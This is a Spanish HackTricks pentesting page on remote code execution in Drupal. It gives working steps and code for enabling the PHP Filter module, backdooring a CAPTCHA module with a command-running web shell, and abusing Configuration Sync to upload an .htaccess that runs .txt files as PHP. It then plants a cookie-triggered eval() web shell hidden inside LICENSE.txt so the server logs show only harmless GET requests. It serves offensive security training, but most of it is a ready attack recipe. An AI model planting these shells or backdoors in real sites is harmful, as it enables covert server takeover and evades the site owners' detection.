Drupal RCE

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Con el Módulo PHP Filter

En versiones antiguas de Drupal (antes de la versión 8), era posible iniciar sesión como administrador y habilitar el módulo PHP filter, que "Permite evaluar código/snippets PHP incrustados." Pero a partir de la versión 8, este módulo no está instalado por defecto.

Necesitas que el plugin php esté instalado (verifícalo accediendo a /modules/php y si devuelve un 403 entonces, existe, si no se encuentra, entonces el plugin php no está instalado)

Ve a Módulos -> (Marca la casilla de) PHP Filter -> Guardar configuración

Luego haz clic en Añadir contenido -> Selecciona Página básica o Artículo -> Escribe código shell php en el cuerpo -> Selecciona Código PHP en Formato de texto -> Selecciona Vista previa

Finalmente solo accede al nodo recién creado:

curl http://drupal-site.local/node/3

Instalar el Módulo PHP Filter

En las versiones actuales ya no es posible instalar complementos teniendo acceso solo a la web después de la instalación predeterminada.

A partir de la versión 8 en adelante, el módulo PHP Filter no se instala por defecto. Para aprovechar esta funcionalidad, tendríamos que instalar el módulo nosotros mismos.

  1. Descargar la versión más reciente del módulo desde el sitio web de Drupal.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. Una vez descargado, ir a Administración > Informes > Actualizaciones disponibles.

  4. Hacer clic en Examinar, seleccionar el archivo del directorio donde lo descargamos y luego hacer clic en Instalar.

  5. Una vez instalado el módulo, podemos hacer clic en Contenido y crear una nueva página básica, similar a como lo hicimos en el ejemplo de Drupal 7. Nuevamente, asegúrate de seleccionar Código PHP en el menú desplegable de Formato de texto.

Módulo con Puerta Trasera

En las versiones actuales ya no es posible instalar complementos teniendo acceso solo a la web después de la instalación predeterminada.

Se puede crear un módulo con puerta trasera agregando un shell a un módulo existente. Los módulos se pueden encontrar en el sitio web drupal.org. Elijamos un módulo como CAPTCHA. Desplázate hacia abajo y copia el enlace para el archivo tar.gz archivo.

  • Descarga el archivo y extrae su contenido.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Crear una shell web en PHP con el contenido:

<?php
system($_GET["cmd"]);
?>
  • A continuación, necesitamos crear un archivo .htaccess para darnos acceso a la carpeta. Esto es necesario ya que Drupal niega el acceso directo a la carpeta /modules.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • La configuración anterior aplicará reglas para la carpeta / cuando solicitemos un archivo en /modules. Copia ambos de estos archivos a la carpeta captcha y crea un archivo.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Suponiendo que tenemos acceso administrativo al sitio web, haz clic en Gestionar y luego en Ampliar en la barra lateral. A continuación, haz clic en el botón + Instalar nuevo módulo, y seremos llevados a la página de instalación, como http://drupal-site.local/admin/modules/install. Navega hasta el archivo backdoored Captcha y haz clic en Instalar.

  • Una vez que la instalación tenga éxito, navega a /modules/captcha/shell.php para ejecutar comandos.

Backdooring Drupal con Sincronización de configuración

Publicado por Coiffeur0x90

Parte 1 (activación de Media y Media Library)

En el menú Ampliar (/admin/modules), puedes activar lo que parecen ser complementos ya instalados. Por defecto, los complementos Media y Media Library no parecen estar activados, así que activémoslos.

Antes de la activación:

Después de la activación:

Parte 2 (aprovechando la característica Sincronización de configuración)

Aprovecharemos la característica de Sincronización de configuración para volcar (exportar) y cargar (importar) entradas de configuración de Drupal:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Parchear system.file.yml

Comencemos parcheando la primera entrada allow_insecure_uploads desde:

Archivo: system.file.yml


...

allow_insecure_uploads: false

...

A:

Archivo: system.file.yml


...

allow_insecure_uploads: true

...

Parchear field.field.media.document.field_media_document.yml

Luego, parchea la segunda entrada file_extensions de:

Archivo: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

A:

Archivo: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

No lo uso en esta publicación del blog, pero se señala que es posible definir la entrada file_directory de forma arbitraria y que es vulnerable a un ataque de traversing de ruta (por lo que podemos retroceder dentro del árbol del sistema de archivos de Drupal).

Parte 3 (aprovechando la función Agregar Documento)

El último paso es el más simple y se divide en dos subpasos. El primero es cargar un archivo en formato .htaccess para aprovechar las directivas de Apache y permitir que los archivos .txt sean interpretados por el motor PHP. El segundo es cargar un archivo .txt que contenga nuestra carga útil.

Archivo: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

¿Por qué es genial este truco?

Porque una vez que la Webshell (que llamaremos LICENSE.txt) se haya depositado en el servidor web, podemos transmitir nuestros comandos a través de $_COOKIE y en los registros del servidor web, esto aparecerá como una solicitud GET legítima a un archivo de texto.

¿Por qué nombrar nuestra Webshell LICENSE.txt?

Simplemente porque si tomamos el siguiente archivo, por ejemplo core/LICENSE.txt (que ya está presente en el núcleo de Drupal), tenemos un archivo de 339 líneas y 17.6 KB de tamaño, que es perfecto para agregar un pequeño fragmento de código PHP en el medio (ya que el archivo es lo suficientemente grande).

Archivo: LICENSE.txt parcheado


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Parte 3.1 (subir archivo .htaccess)

Primero, aprovechamos la función Add Document (/media/add/document) para subir nuestro archivo que contiene las directivas de Apache (.htaccess).

Parte 3.2 (subir archivo LICENSE.txt)

Luego, aprovechamos nuevamente la función Add Document (/media/add/document) para subir un Webshell oculto dentro de un archivo de licencia.

Parte 4 (interacción con el Webshell)

La última parte consiste en interactuar con el Webshell.

Como se muestra en la siguiente captura de pantalla, si la cookie esperada por nuestro Webshell no está definida, obtenemos el resultado subsiguiente al consultar el archivo a través de un navegador web.

Cuando el atacante establece la cookie, puede interactuar con el Webshell y ejecutar los comandos que desee.

Y como se puede ver en los registros, parece que solo se ha solicitado un archivo txt.

Gracias por tomarte el tiempo de leer este artículo, espero que te ayude a obtener algunas shells.

Última actualización